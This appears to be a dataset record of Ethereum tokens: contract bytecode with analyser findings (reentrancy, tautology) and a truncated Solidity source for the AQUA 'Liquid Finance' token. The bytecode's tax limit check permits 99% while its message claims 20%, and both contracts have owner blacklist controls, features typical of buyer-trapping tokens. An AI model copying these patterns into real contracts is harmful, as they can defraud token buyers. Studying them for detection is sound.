0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e14610526578063e67bd6481461056c578063ea1644d51461058c578063f2fde38b146105ac57600080fd5b8063a9059cbb146104a1578063bfd79284146104c1578063c3c8cd80146104f1578063c492f0461461050657600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b41146101fe57806398a5c3151461048157600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ab8565b6105cc565b005b34801561020a57600080fd5b50604080518082018252600b81526a4b554e47465550414e444160a81b602082015290516102389190611b7d565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611bd2565b61066b565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50678ac7230489e800005b604051908152602001610238565b3480156102da57600080fd5b506102616102e9366004611bfe565b610682565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610238565b34801561032c57600080fd5b50601554610291906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611c3f565b6106eb565b34801561036c57600080fd5b506101fc61037b366004611c6c565b610736565b34801561038c57600080fd5b506101fc61077e565b3480156103a157600080fd5b506102c06103b0366004611c3f565b6107c9565b3480156103c157600080fd5b506101fc6107eb565b3480156103d657600080fd5b506101fc6103e5366004611c87565b61085f565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611c3f565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610291565b34801561045757600080fd5b506101fc610466366004611c6c565b61089e565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b506101fc61049c366004611c87565b6108e6565b3480156104ad57600080fd5b506102616104bc366004611bd2565b610915565b3480156104cd57600080fd5b506102616104dc366004611c3f565b60106020526000908152604090205460ff1681565b3480156104fd57600080fd5b506101fc610922565b34801561051257600080fd5b506101fc610521366004611ca0565b610976565b34801561053257600080fd5b506102c0610541366004611d24565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057857600080fd5b506101fc610587366004611d5d565b610a17565b34801561059857600080fd5b506101fc6105a7366004611c87565b610bcd565b3480156105b857600080fd5b506101fc6105c7366004611c3f565b610bfc565b6000546001600160a01b031633146105ff5760405162461bcd60e51b81526004016105f690611d8f565b60405180910390fd5b60005b81518110156106675760016010600084848151811061062357610623611dc4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065f81611df0565b915050610602565b5050565b6000610678338484610ce6565b5060015b92915050565b600061068f848484610e0a565b6106e184336106dc85604051806060016040528060288152602001611f0a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611346565b610ce6565b5060019392505050565b6000546001600160a01b031633146107155760405162461bcd60e51b81526004016105f690611d8f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107605760405162461bcd60e51b81526004016105f690611d8f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b357506013546001600160a01b0316336001600160a01b0316145b6107bc57600080fd5b476107c681611380565b50565b6001600160a01b03811660009081526002602052604081205461067c906113ba565b6000546001600160a01b031633146108155760405162461bcd60e51b81526004016105f690611d8f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108895760405162461bcd60e51b81526004016105f690611d8f565b674563918244f400008111156107c657601655565b6000546001600160a01b031633146108c85760405162461bcd60e51b81526004016105f690611d8f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109105760405162461bcd60e51b81526004016105f690611d8f565b601855565b6000610678338484610e0a565b6012546001600160a01b0316336001600160a01b0316148061095757506013546001600160a01b0316336001600160a01b0316145b61096057600080fd5b600061096b306107c9565b90506107c68161143e565b6000546001600160a01b031633146109a05760405162461bcd60e51b81526004016105f690611d8f565b60005b82811015610a115781600560008686858181106109c2576109c2611dc4565b90506020020160208101906109d79190611c3f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a0981611df0565b9150506109a3565b50505050565b6000546001600160a01b03163314610a415760405162461bcd60e51b81526004016105f690611d8f565b6004841115610aa05760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b60648201526084016105f6565b6063821115610afc5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b60648201526084016105f6565b6004831115610b5c5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b60648201526084016105f6565b6063811115610bb95760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b60648201526084016105f6565b600893909355600a91909155600955600b55565b6000546001600160a01b03163314610bf75760405162461bcd60e51b81526004016105f690611d8f565b601755565b6000546001600160a01b03163314610c265760405162461bcd60e51b81526004016105f690611d8f565b6001600160a01b038116610c8b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f6565b6001600160a01b038216610da95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f6565b6001600160a01b038216610ed05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f6565b60008111610f325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f6565b6000546001600160a01b03848116911614801590610f5e57506000546001600160a01b03838116911614155b1561123f57601554600160a01b900460ff16610ff7576000546001600160a01b03848116911614610ff75760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f6565b6016548111156110495760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f6565b6001600160a01b03831660009081526010602052604090205460ff1615801561108b57506001600160a01b03821660009081526010602052604090205460ff16155b6110e35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f6565b6015546001600160a01b038381169116146111685760175481611105846107c9565b61110f9190611e0b565b106111685760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f6565b6000611173306107c9565b60185460165491925082101590821061118c5760165491505b8080156111a35750601554600160a81b900460ff16155b80156111bd57506015546001600160a01b03868116911614155b80156111d25750601554600160b01b900460ff165b80156111f757506001600160a01b03851660009081526005602052604090205460ff16155b801561121c57506001600160a01b03841660009081526005602052604090205460ff16155b1561123c5761122a8261143e565b47801561123a5761123a47611380565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061128157506001600160a01b03831660009081526005602052604090205460ff165b806112b357506015546001600160a01b038581169116148015906112b357506015546001600160a01b03848116911614155b156112c05750600061133a565b6015546001600160a01b0385811691161480156112eb57506014546001600160a01b03848116911614155b156112fd57600854600c55600954600d555b6015546001600160a01b03848116911614801561132857506014546001600160a01b03858116911614155b1561133a57600a54600c55600b54600d555b610a11848484846115c7565b6000818484111561136a5760405162461bcd60e51b81526004016105f69190611b7d565b5060006113778486611e23565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610667573d6000803e3d6000fd5b60006006548211156114215760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f6565b600061142b6115f5565b90506114378382611618565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148657611486611dc4565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114da57600080fd5b505afa1580156114ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115129190611e3a565b8160018151811061152557611525611dc4565b6001600160a01b03928316602091820292909201015260145461154b9130911684610ce6565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611584908590600090869030904290600401611e57565b600060405180830381600087803b15801561159e57600080fd5b505af11580156115b2573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115d4576115d461165a565b6115df848484611688565b80610a1157610a11600e54600c55600f54600d55565b600080600061160261177f565b90925090506116118282611618565b9250505090565b600061143783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117bf565b600c5415801561166a5750600d54155b1561167157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061169a876117ed565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116cc908761184a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116fb908661188c565b6001600160a01b03891660009081526002602052604090205561171d816118eb565b6117278483611935565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161176c91815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061179a8282611618565b8210156117b657505060065492678ac7230489e8000092509050565b90939092509050565b600081836117e05760405162461bcd60e51b81526004016105f69190611b7d565b5060006113778486611ec8565b600080600080600080600080600061180a8a600c54600d54611959565b925092509250600061181a6115f5565b9050600080600061182d8e8787876119ae565b919e509c509a509598509396509194505050505091939550919395565b600061143783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611346565b6000806118998385611e0b565b9050838110156114375760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f6565b60006118f56115f5565b9050600061190383836119fe565b30600090815260026020526040902054909150611920908261188c565b30600090815260026020526040902055505050565b600654611942908361184a565b600655600754611952908261188c565b6007555050565b6000808080611973606461196d89896119fe565b90611618565b90506000611986606461196d8a896119fe565b9050600061199e826119988b8661184a565b9061184a565b9992985090965090945050505050565b60008080806119bd88866119fe565b905060006119cb88876119fe565b905060006119d988886119fe565b905060006119eb82611998868661184a565b939b939a50919850919650505050505050565b600082611a0d5750600061067c565b6000611a198385611eea565b905082611a268583611ec8565b146114375760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f6565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c657600080fd5b8035611ab381611a93565b919050565b60006020808385031215611acb57600080fd5b823567ffffffffffffffff80821115611ae357600080fd5b818501915085601f830112611af757600080fd5b813581811115611b0957611b09611a7d565b8060051b604051601f19603f83011681018181108582111715611b2e57611b2e611a7d565b604052918252848201925083810185019188831115611b4c57600080fd5b938501935b82851015611b7157611b6285611aa8565b84529385019392850192611b51565b98975050505050505050565b600060208083528351808285015260005b81811015611baa57858101830151858201604001528201611b8e565b81811115611bbc576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611be557600080fd5b8235611bf081611a93565b946020939093013593505050565b600080600060608486031215611c1357600080fd5b8335611c1e81611a93565b92506020840135611c2e81611a93565b929592945050506040919091013590565b600060208284031215611c5157600080fd5b813561143781611a93565b80358015158114611ab357600080fd5b600060208284031215611c7e57600080fd5b61143782611c5c565b600060208284031215611c9957600080fd5b5035919050565b600080600060408486031215611cb557600080fd5b833567ffffffffffffffff80821115611ccd57600080fd5b818601915086601f830112611ce157600080fd5b813581811115611cf057600080fd5b8760208260051b8501011115611d0557600080fd5b602092830195509350611d1b9186019050611c5c565b90509250925092565b60008060408385031215611d3757600080fd5b8235611d4281611a93565b91506020830135611d5281611a93565b809150509250929050565b60008060008060808587031215611d7357600080fd5b5050823594602084013594506040840135936060013592509050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e0457611e04611dda565b5060010190565b60008219821115611e1e57611e1e611dda565b500190565b600082821015611e3557611e35611dda565b500390565b600060208284031215611e4c57600080fd5b815161143781611a93565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ea75784516001600160a01b031683529383019391830191600101611e82565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ee557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f0457611f04611dda565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207fd92d6a8b7f1e7a20ed64965d0c578d5ecd60d6a5087cc25528cb52fdf23e3a64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 9,183 |
0xfa74aa93dbd393122f6ed7f921432145a6fad8d7
|
// ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠤⠤⢤⠤⢀⠀⢀⠀⣀⠔⠄⠀⠐⠀⠀
// ⠀⠀⠀⠀⠀⠀⠀⡀⠄⢀⣿⡟⡀⠀⠠⣭⠕⠀⠀⠀⠈⠱⣿⣶⣷⡅⠀⢁⠀⠁
// ⠀⠀⠀⡀⠀⠂⠁⣀⣀⣾⣿⣥⣤⡴⣿⡏⢠⢆⠀⠀⢀⠀⠙⠟⡻⠃⠀⢸⡡⠀
// ⠀⡀⠈⠀⠀⠀⣠⡶⠛⢻⠛⣿⢺⣁⢁⢇⢸⠀⠆⠄⠈⣄⢤⣷⠁⠄⠠⠾⢋⠂
// ⠀⠀⠀⠀⣠⣾⠏⠀⠀⡄⠀⢸⠡⠻⠂⠀⠂⢘⣾⡜⡄⢇⠠⢺⡄⠈⠂⠈⠀⠀
// ⠁⡀⠀⠈⠉⣱⢄⡀⠀⠃⠀⠈⠀⠈⠀⠀⠀⠠⠌⠁⡿⠪⢔⢿⣿⣄⠑⠓⠀⠀
// ⠀⠈⠢⡀⣼⠳⠟⡛⠂⠴⢀⢠⣄⠀⠀⠐⠀⠀⡈⠐⡅⠆⡈⠀⠙⠿⠡⠦⠔⠀
// ⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⢸⡆⡿⠷⣀⠐⠀⣸⠄⣰⠀⣼⠃⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠐⠐⢄⢠⣾⣍⡄⠀⠉⠛⠋⠩⠞⠛⣃⣽⡀⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠀⠀⢼⣮⣹⣿⣏⣷⠟⠿⣽⣯⣶⡟⠉⠈⡇⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣬⣽⣿⢰⡶⣿⣿⢹⣾⠀⠀⠀⢷⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣉⠉⡛⠟⣮⣤⣿⣿⠀⠀⣬⠈⢂⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⢀⣾⢞⡿⠿⠿⠇⠀⢿⣼⣿⣿⣿⡿⠒⠖⡈⢆⠈⠄⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⡼⠡⠀⢷⣶⣤⡄⠀⠀⠙⣻⣿⣟⢁⣠⡴⠔⠈⡆⠈⠄⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠃⠸⠴⠿⣿⣇⣰⣶⣤⣀⣁⡀⠙⠯⠪⠦⠀⠒⠒⠀⠀⠀⠀⠀
//
//
// Telegram: https://t.me/liquidfinance
// Website: https://liquidfinance.co
//
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AQUA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Liquid Finance";
string private constant _symbol = "AQUA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xD9B638f1aaC77b13110Fce069D8a4BE9718Df6E7);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createNewPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= _maxTxAmount);
_maxTxAmount = maxTxAmount;
}
